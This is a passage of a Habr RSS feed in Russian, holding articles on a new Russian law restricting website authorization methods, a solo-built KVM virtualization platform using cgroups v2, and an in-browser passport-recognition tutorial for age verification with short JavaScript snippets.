https://habrastorage.org/r/w1560/getpro/habr/upload_files/e89/7d4/0e1/e897d40e15196ce6e07b61bc82ea7c2d.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&amp;#34;Законные&amp;#34; и &amp;#34;незаконные&amp;#34; способы авторизации&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Что получается после анализа способов:&lt;ol&gt;&lt;li&gt;&lt;p&gt;Судя по всему, любая авторизация с использованием электронной почты (даже на Яндексе - без подключения их сервиса авторизации или Mail.ru) - недопустима, т.к. этого варианта нет в списке.&lt;li&gt;&lt;p&gt;В списке способов нет мессенджера Макс, но с натяжкой этот способ подходит, т.к. в мессенджере нельзя зарегистрироваться без номера телефона. Возможно, для него будет сделано какое-то отдельное разъяснение.&lt;li&gt;&lt;p&gt;Нормы закона касаются и публичных и корпоративных сервисов. Если читать норму буквально, работодателя можно оштрафовать за то, что сотрудники заходят в корпоративную систему, используя выданные им логины/пароли, без &amp;#34;обычной&amp;#34; авторизации. Почему не сделано исключение для корпоративных систем - непонятно...&lt;li&gt;&lt;p&gt;Судя по всему, теперь самый рабочий способ авторизации - это использование номера телефона (что повлечет дополнительные затраты, которые нужно заложить в бюджет проекта) или использование Яндекс ID&lt;li&gt;&lt;p&gt;Владельцам сайтов, порталов, интернет-магазинов и любых ресурсов (приложений, сервисов), которые предусматривают авторизацию, нужно просмотреть свои формы авторизации и скорректировать пользовательское (лицензионное) соглашение - ту часть, где описан способ авторизации.&lt;li&gt;&lt;p&gt;Закон не описывает, что вы должны делать с пользователями, которые ранее зарегистрировались/авторизовывались с использованием ныне &amp;#34;запрещенных&amp;#34; способов. Тут сам владелец ресурса должен принять решение и, например, разослать оповещения об изменении способа авторизации.&lt;p&gt;&lt;strong&gt;На кого распространяется закон?&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Вы - владелец ПО/сайта - гражданин РФ или российское юридическое лицо&lt;li&gt;&lt;p&gt;Ваш пользователь находится на территории Российской Федерации (неизвестно, как вы должны определить, где находится ваш пользователь, но РКН будет проводить “контрольные закупки”, находясь в РФ, поэтому лучше учесть эти нормы, если вы работаете (хотя бы частично) с русскоязычной аудиторией тут либо определять по гео или перед показом формы авторизации вешать плашку с вопросом вы находитесь в РФ? и в зависимости от ответа показывать форму (это даст хотя бы какую-то позицию в споре с РКН)&lt;/ul&gt;&lt;p&gt;На какие сервисы распространяется закон?&lt;p&gt;Я видела в сети позицию, что нормы распространяются только на сайты, а на десктопные/мобильные приложения - нет, но я с ней не согласна.&lt;p&gt;Читаем п. 10 ст. 8: &lt;strong&gt;Владелец сайта / Страницы сайта в сети “Интернет” / Информационной системы /Программы для электронных вычислительных машин&lt;/strong&gt;&lt;/ol&gt;&lt;p&gt;Термин &amp;#34;программа для ЭВМ&amp;#34; раскрыт в ст. 1261 ГК РФ, это - представленная в объективной форме совокупность данных и команд, предназначенных для функционирования ЭВМ и других компьютерных устройств в целях получения определенного результата. Термин специально сформулирован так широко, чтобы все разнообразие программ охранялось авторским правом.&lt;p&gt;Поэтому, фактически, под действие п. 10 ст. 8 попадают вообще все сервисы - сайты, порталы, мобильные приложения, десктопные приложения, SaaS и т.д. Если вы считаете, что ваш проект не попадает - напишите в комментариях, что у вас за сервис - будем разбирать, подходит к нему термин &amp;#34;сайт&amp;#34; или &amp;#34;программа для ЭВМ&amp;#34; или нет.&lt;p&gt;Кстати, закон вступит в силу через 10 дней после официального опубликования (поскольку в тексте проекта не предусмотрена специальная дата вступления в силу), то есть у всех есть около 2-х недель, чтобы избежать ситуации возможного получения штрафов.&lt;p&gt;Кстати, вот примеры довольно крупных сервисов, которые позволяют авторизоваться через иные способы&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/f17/97b/b66/f1797bb66054bafe76369a96e506838c.png alt=&#34;Сайт ВТБ (для бизнеса) - можно авторизоваться по своим логину и паролю или через ЕСИА&#34; title=&#34;Сайт ВТБ (для бизнеса) - можно авторизоваться по своим логину и паролю или через ЕСИА&#34; width=712 height=736 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/f17/97b/b66/f1797bb66054bafe76369a96e506838c.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/f17/97b/b66/f1797bb66054bafe76369a96e506838c.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Сайт ВТБ (для бизнеса) - можно авторизоваться по своим логину и паролю или через ЕСИА&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/7b4/b3c/911/7b4b3c911e90ae844f81dd2c4fe40a0d.png alt=&#34;Можно войти со своей почтой (иностранной, кстати) или через Яндекс ID&#34; title=&#34;Можно войти со своей почтой (иностранной, кстати) или через Яндекс ID&#34; width=695 height=599 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/7b4/b3c/911/7b4b3c911e90ae844f81dd2c4fe40a0d.png 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/7b4/b3c/911/7b4b3c911e90ae844f81dd2c4fe40a0d.png 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;Можно войти со своей почтой (иностранной, кстати) или через Яндекс ID&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>ksalnikova</author>
      <guid>https://habr.com/ru/articles/1046183/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046183</guid>
      <pubDate>Wed, 10 Jun 2026 16:03:13 +0000</pubDate>
    </item>
    <item>
      <title>Опыт разработки российской платформы виртуализации с нуля: libvirt, cgroups v2 и почему это никому не нужно</title>
      <link>https://habr.com/ru/articles/1046175/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046175</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/a14/54f/f15/a1454ff15f7326a31fba63729793456f.jpg width=1280 height=853 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/a14/54f/f15/a1454ff15f7326a31fba63729793456f.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/a14/54f/f15/a1454ff15f7326a31fba63729793456f.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;p&gt;Виртуализация в России — тема горячая. VMware ушёл, Hyper‑V под вопросом, Proxmox — открытый, но не «суверенный». Я задался вопросом: а можно ли написать платформу управления KVM с нуля, с полным контролем ресурсов через cgroups v2, без единой строки GPL‑кода?&lt;p&gt;&lt;strong&gt;Спойлер: да&lt;/strong&gt;. Встречайте Eskvisor — мой проект, переросший в зарегистрированную в Роспатенте программу для ЭВМ. Под капотом — архитектура, грабли с cgroups, &lt;strong&gt;и почему полностью суверенный проект был мертворожденным.&lt;/strong&gt;&lt;h2&gt; Темы&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Почему возникла идея, как велась разработка и что там с импортозамещением&lt;li&gt;&lt;p&gt;Как я нативно внедрил cgroups v2 для полного контроля ресурсов системы с гарантией&lt;li&gt;&lt;p&gt;Почему проект оказался мертворожденным&lt;/ul&gt;&lt;h3&gt;Почему возникла идея , как велась разработка и что там с импортозамещением&lt;/h3&gt;&lt;p&gt;В надежде среди мыслительных процессов найти ту самую идею стартапа, которая «&lt;strong&gt;выстрелит&lt;/strong&gt;», я пришел к мысли: в РФ сейчас тренд на отечественные разработки. Учитывая также мой опыт в работе в компании в РФ, которая специализируется на продуктах, связанных с виртуализацией, я понял — надо делать, это можно будет продать.&lt;p&gt;Но к разработке я приступил не сразу, перед разработкой тщательно изучил рынок. Полностью отечественных проектов в принципе нет, а если они есть — то имеют тяжелое легаси, которое само по себе дороже поддерживать. Большинство проектов(не будем называть имён) чаще всего основываются на OpenSource решениях, а те, в свою очередь, основываются на libvirt. И выходит так, что коммерческая компания со своим штатом программистов, вместо того, чтобы предложить действительно суверенный софт — берет OpenSource, немного его шлифует, клеит свою наклейку и продает как «отечественное решение», где из отечественного лишь верхнеуровневая доработка, но чаще всего — без своей глубокой реализации.&lt;strong&gt; Так и клепают год за годом «убийц VMware»&lt;/strong&gt;. Мой проект также был основан на &lt;strong&gt;libvirt&lt;/strong&gt;, но я сознательно отказался от копирования чужих решений. ИИ — только для ускорения кодогенерации, не более.&lt;p&gt;Проект был полностью написан мной с нуля, на протяжении 45+ дней непрерывного кодинга (а до этого — анализа рынка и конкурентов) с выполнением своего минимального функционала, включая фишку контроля ресурсов через cgroup v2.&lt;p&gt;Возникает риторический вопрос: если я один смог накинуть ядро кода, лишь немного капнув в этом направлении, включая нативный контроль ресурсов через cgroup v2, &lt;strong&gt;чем занимаются целые штаты программистов у крупных вендоров&lt;/strong&gt;?&lt;p&gt;&lt;strong&gt;Ведь одно дело — разработка по-настоящему сложной и зрелой системы, например, живой миграции ВМ между хостами &lt;/strong&gt;(это нетривиальная задача, требующая огромных ресурсов; я, кстати, тоже смог её в минимальном функционале реализовать, но поддерживать такую махину в одиночку, особенно на старте и для крупных вендоров, было бы архи-сложно, поэтому я выпилил большую часть кода).&lt;p&gt;&lt;strong&gt;И совсем другое — взять готовое OpenSource-решение, слегка его зашлифовать и наклеить свой логотип.&lt;/strong&gt;&lt;p&gt;&lt;strong&gt;Неужели продукту, который на 90% состоит из OpenSource-компонентов&lt;/strong&gt; (и чьи критические баги за вас исправляет всё мировое сообщество), &lt;strong&gt;нужен целый штат программистов&lt;/strong&gt;, чтобы делать из него «&lt;strong&gt;импортозамещение&lt;/strong&gt;»?&lt;p&gt;&lt;strong&gt;Абсурд ситуации усиливает один неподтверждённый, но показательный кейс&lt;/strong&gt; (источник, увы, не могу раскрыть): некая российская компания с крупным контрактом на виртуализацию &lt;strong&gt;проводила миграции ВМ с помощью OpenSource‑решения без своих доработок на коммерческих платформах заказчика&lt;/strong&gt;.&lt;p&gt;А теперь внимательно следим за контекстом:&lt;p&gt;------------------------------------------------------------------------------------------------------------------------------&lt;p&gt;&lt;em&gt;Ситуация получилась такой, что заказчик заплатил за «отечественную разработку», &lt;/em&gt;&lt;strong&gt;&lt;em&gt;функционала которой оказалось недостаточно&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;, в итоге сверху этого команде&lt;/em&gt;&lt;strong&gt;&lt;em&gt; пришлось использовать другое OpenSource решение для решения проблемы&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;.&lt;/em&gt;&lt;p&gt;------------------------------------------------------------------------------------------------------------------------------&lt;p&gt;Тендер на поставку ПО выиграла не та компания, у которой оказалось более качественное ПО, а та которой нужно было выиграть. Вся «суверенность» свелась к красивой презентации и закрытым глазам на происхождение кода.&lt;p&gt;&lt;strong&gt;Верить или нет — решать вам.&lt;/strong&gt;&lt;h3&gt;Как я внедрял нативное использование cgroup v2 для полного контроля ресурсов системы с гарантией&lt;/h3&gt;&lt;p&gt;Ключевая проблема большинства платформ виртуализации — номинальное ограничение ресурсов. Control plane отправляет запрос на 2 vCPU и 4 ГБ RAM, но когда ВМ начинает активно нагружаться, шедулер Linux отдаёт ей всё свободное время. В результате дашборд показывает честные 70% (потому что именно столько мы записали в БД), а по факту система потребляет 80%, 90% или вообще всё, что есть.&lt;p&gt;Я пробовал решить проблему хранением метрик в JSON — написал систему для трекинга и будущих интеграций. Эффективность оказалась нулевой: мы лишь фиксировали проблему, но не решали её.&lt;p&gt;Единственное работающее решение — cgroups v2. Эта технология ограничивает ресурсы на уровне ядра Linux. Бесполезно пытаться через libvirt увеличить доступные мощности — cgroup просто не отдаст лишнее, &lt;strong&gt;даже если создать новую ВМ с большим количеством ресурсов(например 4 vCPU) но закинуть ее в limit на 2 ядра — ВМ не сможет использовать больше 2 ядер&lt;/strong&gt;&lt;p&gt;В моей реализации при создании ВМ мы:&lt;ol&gt;&lt;li&gt;&lt;p&gt;Вычисляем PID процесса QEMU/KVM (по имени из конфигов libvirt)&lt;li&gt;&lt;p&gt;Добавляем этот PID в заранее созданный пул ресурсов&lt;li&gt;&lt;p&gt;Пул уже имеет жёсткие лимиты CPU и RAM на уровне cgroups&lt;/ol&gt;&lt;p&gt;Теперь ВМ физически не может выйти за рамки. Дашборд показывает реальное положение, а не то, что «должно быть».&lt;h3&gt;Модуль управления cgroups v2 в Eskvisor&lt;/h3&gt;&lt;p&gt;Ядро ресурсного контроля платформы — модуль &lt;code&gt;pycgroup&lt;/code&gt;, реализующий прямое взаимодействие с иерархией cgroups v2. Модуль построен по принципу трёхуровневой абстракции: контроллеры (&lt;code&gt;CPUController&lt;/code&gt;, &lt;code&gt;MemoryController&lt;/code&gt;, &lt;code&gt;PidController&lt;/code&gt;) → фасад &lt;code&gt;PYCGroup&lt;/code&gt; → бизнес‑логика агента.&lt;p&gt;&lt;code&gt;CPUController&lt;/code&gt; управляет лимитами через &lt;code&gt;cpu.max&lt;/code&gt; и &lt;code&gt;cpu.weight&lt;/code&gt;, поддерживая установку ограничений в процентах или ядрах. Ключевая особенность — метод &lt;code&gt;get_cpu_available_cores&lt;/code&gt;, вычисляющий остаточный ресурс пула для планирования новых ВМ.&lt;p&gt;&lt;code&gt;MemoryController&lt;/code&gt; оперирует контроллерами &lt;code&gt;memory.max&lt;/code&gt;, &lt;code&gt;memory.high&lt;/code&gt; и &lt;code&gt;memory.min&lt;/code&gt; для жёстких, мягких и гарантированных лимитов памяти.&lt;p&gt;Иерархическая модель разделяет &lt;strong&gt;пулы&lt;/strong&gt; (группы ВМ) и &lt;strong&gt;контейнеры&lt;/strong&gt; (отдельные ВМ). Дочерняя cgroup не может превышать лимиты родительской — это обеспечивает предсказуемое распределение ресурсов.&lt;p&gt;Для сохранения состояния разработаны bash‑скрипты &lt;code&gt;save.sh&lt;/code&gt;/&lt;code&gt;restore.sh&lt;/code&gt; с интеграцией в systemd (таймер на каждые 6 часов). Скрипт &lt;a href=http://migrate.sh rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;code&gt;migrate.sh&lt;/code&gt;&lt;/a&gt; через rsync переносит конфигурации между хостами, сохраняя все настройки cgroup.&lt;p&gt;Модуль полностью автономен, не требует перезагрузки и работает поверх стандартного KVM/libvirt без модификации ядра. Более подробно изучить &lt;a href=https://github.com/Eskander739/eskvisor rel=&#34;noopener noreferrer nofollow&#34;&gt;модель и в целом проект можно в репозитории GitHub&lt;/a&gt;.&lt;h3&gt;Почему проект оказался мертворожденным&lt;/h3&gt;&lt;p&gt;Все до безобразия просто, рынок поделен между крупными игроками, даже имея хорошо написанный код и полностью с нуля разработанную архитектуру — это не дает никакой гарантии на то, что проект будет интересен хоть кому‑то. Параллельно с разработкой я рассылал множество писем различным компаниям, интеграторам, включая гос заказы(более 80 писем, звонки и прочее), где я писал всем с одним предложением — все подключим и сделаем абсолютно бесплатно, нам нужна будет лишь обратная связь, а при заинтересованности в коммерческом контракте — постараемся получить и лицензию Минцифры, включение в реестр отечественного ПО и так далее. Модель была максимально простой — если понравится, возьмите, если не понравится — нам ничего не нужно.&lt;p&gt;&lt;em&gt;Всем спасибо, кто дочитал до этого места. Если вы из компании, которой надоели «отечественные обёртки над OpenSource», или просто хотите посмотреть на честный код — &lt;/em&gt;&lt;a href=https://github.com/Eskander739/eskvisor rel=&#34;noopener noreferrer nofollow&#34;&gt;&lt;em&gt;репозиторий открыт&lt;/em&gt;&lt;/a&gt;&lt;em&gt;. Мне же — собирать карму и доделывать Atomic AI Cloud. Увидимся там&lt;/em&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <author>Eskander_007</author>
      <guid>https://habr.com/ru/articles/1046175/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046175</guid>
      <pubDate>Wed, 10 Jun 2026 15:49:35 +0000</pubDate>
    </item>
    <item>
      <title>Проверка возраста без персональных данных и биометрии: встраиваем в веб-страницу за 5 минут</title>
      <link>https://habr.com/ru/companies/smartengines/articles/1046149/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046149</link>
      <description>&lt;div&gt;&lt;div class=&#34;article-formatted-body article-formatted-body article-formatted-body_version-2&#34;&gt;&lt;div xmlns=http://www.w3.org/1999/xhtml&gt;&lt;p&gt;Продолжаем рассказывать об альтернативном способе подтверждения возраста на веб-ресурсах без использования биометрии, интеграции с ЕБС и раскрытия персональных данных. О том, как это можно сделать, мы подробно писали в &lt;a href=https://habr.com/ru/companies/smartengines/articles/1045414/&gt;прошлой статье&lt;/a&gt;. Теперь разберемся, как реализовать подобный сценарий с помощью WebAssembly и какие возможности это открывает для веб-платформ. В этом материале показываем код, ищите под катом. &lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/r/w1560/getpro/habr/upload_files/90c/11c/465/90c11c4658591dd8485f258c198a1466.jpg width=1560 height=880 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/r/w780/getpro/habr/upload_files/90c/11c/465/90c11c4658591dd8485f258c198a1466.jpg 780w,&#xA;       https://habrastorage.org/r/w1560/getpro/habr/upload_files/90c/11c/465/90c11c4658591dd8485f258c198a1466.jpg 781w&#34; loading=lazy decode=async&gt;&lt;/figure&gt;&lt;h2&gt;Веб-распознавание как альтернатива биометрии и внешним сервисам&lt;/h2&gt;&lt;p&gt;Распознавание паспорта с локальной обработкой на стороне пользователя позволяет решить задачу проверки возраста без сбора биометрии, ЕБС и раскрытия персональных данных. Такой сценарий ближе всего к привычной офлайн-проверке, а при грамотной реализации для него не требуется ни мощное железо, ни даже сторонние приложения.&lt;p&gt;Мы в Smart Engines уже давно развиваем технологии распознавания в веб-среде – на сегодняшний день они &lt;a href=https://habr.com/ru/companies/smartengines/articles/851476/&gt;работают&lt;/a&gt; в интернет-версиях многих российских банков при распознавании платежных баркодов, банковских карт и документов. Перенести распознавание в браузер нам удалось с помощью WebAssembly – технологии, позволяющей создавать “продвинутые” веб-приложения (PWA), в том числе с возможностью локального распознавания. Фактически современные PWA по скорости работы, отзывчивости интерфейса и доступному функционалу уже вплотную приблизились к нативным решениям. При этом в ряде сценариев они оказываются даже удобнее.&lt;p&gt;&lt;strong&gt;Во-первых&lt;/strong&gt;, веб-приложение работает везде, где есть браузер: на смартфонах, планшетах, ноутбуках и даже внутри мессенджеров. С точки зрения возрастной верификации это дает единую реализацию для всех платформ без необходимости переходить в специальное приложение.&lt;p&gt;&lt;strong&gt;Во-вторых&lt;/strong&gt;, PWA существенно сокращают доставку. Вместо переходов между сервисами, получения SMS-кодов или авторизации через сторонние сайты платформа получает проверку возраста непосредственно в собственном интерфейсе. Это влияет на CJM и позволяет встроить возрастную верификацию в существующий пользовательский сценарий практически бесшовно.&lt;p&gt;С точки зрения пользователя процесс выглядит предельно просто: открыть страницу и показать паспорт в камеру. Для пресечения попыток обойти проверку – с чужим документом или с помощью дипфейков и других видов подделок – &lt;a href=https://smartengines.ru/smart-passportreader/&gt;распознавание паспорта&lt;/a&gt; можно дополнить антифрод-анализом и небиометрической сверкой лиц. При этом все вычисления выполняются локально на устройстве, поэтому изображения и персональные данные не покидают пользовательский контур и не раскрываются ни самой платформе, ни другим внешним сторонам. &lt;p&gt;Для пользователей это гарантия конфиденциальности и отсутствие риска утечки. Для бизнеса это означает отсутствие факта передачи персональных данных и зависимости от внешних сервисов. Для разработчиков же WebAssembly открывает возможность добавить проверку возраста в любой необходимый веб-интерфейс – от интернет-магазинов и маркетплейсов до онлайн-кинотеатров, социальных платформ и мессенджеров.&lt;p&gt;Причем встроить &lt;a href=https://smartengines.ru/intelligent-document-recognition/&gt;распознавание документов&lt;/a&gt; для проверки возраста в веб-страницу можно хоть за пять минут. Ниже рассмотрим практическую реализацию такого решения.&lt;/p&gt;&lt;a href=https://habr.com/ru/companies/smartengines/articles/1045414/ target=_blank rel=&#34;noopener noreferrer nofollow&#34; class=&#34;embed_link embed_layout-right&#34;&gt;&lt;div class=embed__thumb style=&#39;background-image: url(&#34;https://habr.com/share/publication/1045414/79a7c230e13649dd34cb799cf3f2d16e/&#34;);&#39;&gt;&lt;/div&gt;&lt;div class=embed__caption&gt;&lt;div class=embed__caption-title&gt;&lt;span&gt;Совершеннолетний без лишних разглашений: можно ли проверить возраст пользователя без биометрии, ЕБС и рисков утечек&lt;/span&gt;&lt;/div&gt;&lt;div class=embed__caption-description&gt;Привет, Хабр! Пока Минцифры изучает введение возрастной идентификации на онлайн-платформах и весь ми...&lt;/div&gt;&lt;span class=embed__caption-host&gt;habr.com&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;h2&gt;Как встроить систему распознавания и проверки возраста в веб-страницу&lt;/h2&gt;&lt;p&gt;Перейдем от бизнес-формулировок к технической части и разберемся, как можно быстро интегрировать продукты Smart Engines в любой цифровой сервис – мобильное приложение, веб-платформу или даже интерфейс мессенджера.&lt;p&gt;Мы реализовали PWA, которое хранит все необходимые ресурсы (включая Wasm-модули) в локальном кеше благодаря Service worker. В отличие от браузерного кеша, Service worker при повторном обращении к ресурсу не создает HTTP- запросов, а отдает файлы сразу. Это позволяет значительно ускорить отзывчивость приложения. Для кэширования ресурсов вы регистрируете Service Worker по простому примеру из MDN и добавляете все необходимые ресурсы при регистрации. Это стили, скрипты и wasm-файлы.&lt;p&gt;Для внедрения распознавания необходимо создать &lt;code&gt;worker.js&lt;/code&gt; - файл, который будет производить вычисления, не нагружая UI браузера.&lt;pre&gt;&lt;code class=javascript&gt;let SEWorker = new Worker(&amp;#34;./worker.js&amp;#34;));&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:87px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Внутри воркера мы загружаем скрипт и создаем инстанс библиотеки распознавания&lt;pre&gt;&lt;code class=javascript&gt;// Import the relevant global Engine object&#xA;importScripts(bin/simd.nothreads/idengine_wasm.js);&#xA;&#xA;// Init WASM module&#xA;const SE = await SmartIDEngine({});&#xA;&#xA;// Init engine&#xA;const ENGINE = new SE.seIdEngine(true, 1, true);&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Теперь нам необходимо создать и настроить сессию распознавания.&lt;pre&gt;&lt;code class=javascript&gt;let sessionSettings = engine.CreateSessionSettings();&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Указываем режим распознавания и маску документа. Можно указать маску как &lt;code&gt;rus.passport.*&lt;/code&gt; тогда поиск будет осуществляться как национального паспорта так и биометрического заграничного (&lt;code&gt;“rus.passport.biometric”&lt;/code&gt;)&lt;pre&gt;&lt;code class=javascript&gt;sessionSettings.SetCurrentMode(“default”);&#xA;sessionSettings.AddEnabledDocumentTypes(“rus.passport.national”);&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Следующей настройкой мы просим вернуть в результате изображение документа, исправленное по перспективе.&lt;pre&gt;&lt;code class=javascript&gt;sessionSettings.SetOption(&amp;#34;common.extractTemplateImages&amp;#34;, &amp;#34;true&amp;#34;);&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Теперь мы инициализируем сессию:&lt;pre&gt;&lt;code class=javascript&gt;spawnedSession = engine.SpawnSession(sessionSettings, signature);&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;В вебе для захвата изображений с камеры необходимо сначала отрисовать видеопоток на canvas и после этого мы получаем доступ к пикселям, которые передаем в специальный объект Image.&lt;pre&gt;&lt;code class=javascript&gt;let image = new SE.seImageFromBuffer(rawData, width, height, stride, channels);&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Теперь мы можем передать его на распознавание.&lt;pre&gt;&lt;code class=javascript&gt;const result = spawnedSession.Process(image);&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Объект &lt;code&gt;result&lt;/code&gt; содержит в себе всю информацию о документе: текстовые поля, координаты шаблона и полей документа, изображения (подписи, печати, изображение документа).&lt;p&gt;Мы рекомендуем не закрывать сессию после первого распознавания, а продолжать подавать в нее изображения, то есть рекомендуем использовать распознавание документа в видеопотоке. У этого подхода есть большое преимущество в виде устойчивости к бликам ламинированных документов и другим артефактам распознавания, поскольку их результаты комбинируются.&lt;p&gt;Если система больше не ожидает получить более качественное изображение на вход, она переводит флаг терминальности сессии в true и вы можете забрать результат.&lt;pre&gt;&lt;code class=javascript&gt;if (result.GetIsTerminal()) {&#xA;  // Можно забирать результат&#xA;}&lt;/code&gt;&lt;div class=code-explainer&gt;&lt;a href=https://sourcecraft.dev/ class=&#34;tm-button code-explainer__link&#34; style=&#34;visibility: hidden;&#34;&gt;&lt;img style=width:14px;height:14px;object-fit:cover;object-position:left;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/pre&gt;&lt;p&gt;Распознавание на клиенте не ограничивается только камерой. Документ может быть прикреплен из галереи или быть упакован в многостраничный PDF. Все эти форматы можно отрисовать на canvas и передать на распознавание.&lt;p&gt;&lt;strong&gt;Как это выглядит?&lt;/strong&gt;&lt;p&gt;По итогам распознавания система возвращает структурированный результат.&lt;figure class=full-width&gt;&lt;img src=https://habrastorage.org/getpro/habr/upload_files/f81/16c/725/f8116c7258ab666bbe3b866504f4ee4d.gif alt=&#34;Вот как работает распознавание паспорта РФ прямо в браузере&#34; title=&#34;Вот как работает распознавание паспорта РФ прямо в браузере&#34; width=644 height=418 sizes=&#34;(max-width: 780px) 100vw, 50vw&#34; srcset=&#34;https://habrastorage.org/getpro/habr/upload_files/f81/16c/725/f8116c7258ab666bbe3b866504f4ee4d.gif 780w,&#xA;       https://habrastorage.org/getpro/habr/upload_files/f81/16c/725/f8116c7258ab666bbe3b866504f4ee4d.gif 781w&#34; loading=lazy decode=async&gt;&lt;div&gt;&lt;figcaption&gt;&lt;em&gt;Вот как работает распознавание паспорта РФ прямо в браузере&lt;/em&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Состав результатов распознавания полностью настраивается под требования заказчика. Платформа может получать как отдельные поля документа – например, только дату рождения, – так и готовый возрастной атрибут или токен вида «18+». Тако подход позволяет гибко регулировать степень раскрытия персональных данных: от передачи минимально необходимой информации до полностью анонимного сценария, в котором сервис получает лишь подтверждение соответствия возрастному порогу без каких-либо сведений о личности пользователя.&lt;p&gt;Как видите, встроить в веб-страницу распознавание паспорта для проверки возраста действительно можно за считанные минуты. Без отдельного мобильного приложения, без биометрии, ЕБС и отправки документов в облако. Работать такой механизм будет даже &lt;s&gt;на парковке&lt;/s&gt; без доступа к сети.&lt;p&gt;Парадоксально, но факт: интернет остается обязательным атрибутом онлайн-платформы, но перестает быть необходимым для проверки возраста.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</description>
      <guid>https://habr.com/ru/companies/smartengines/articles/1046149/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046149</guid>
      <pubDate>Wed, 10 Jun 2026 15:45:00 +0000</pubDate>
    </item>
    <item>
      <title>Интернет</title>
      <link>https://habr.com/ru/articles/1046169/?utm_source=habrahabr&amp;utm_medium=rss&amp;utm_campaign=1046169</link>
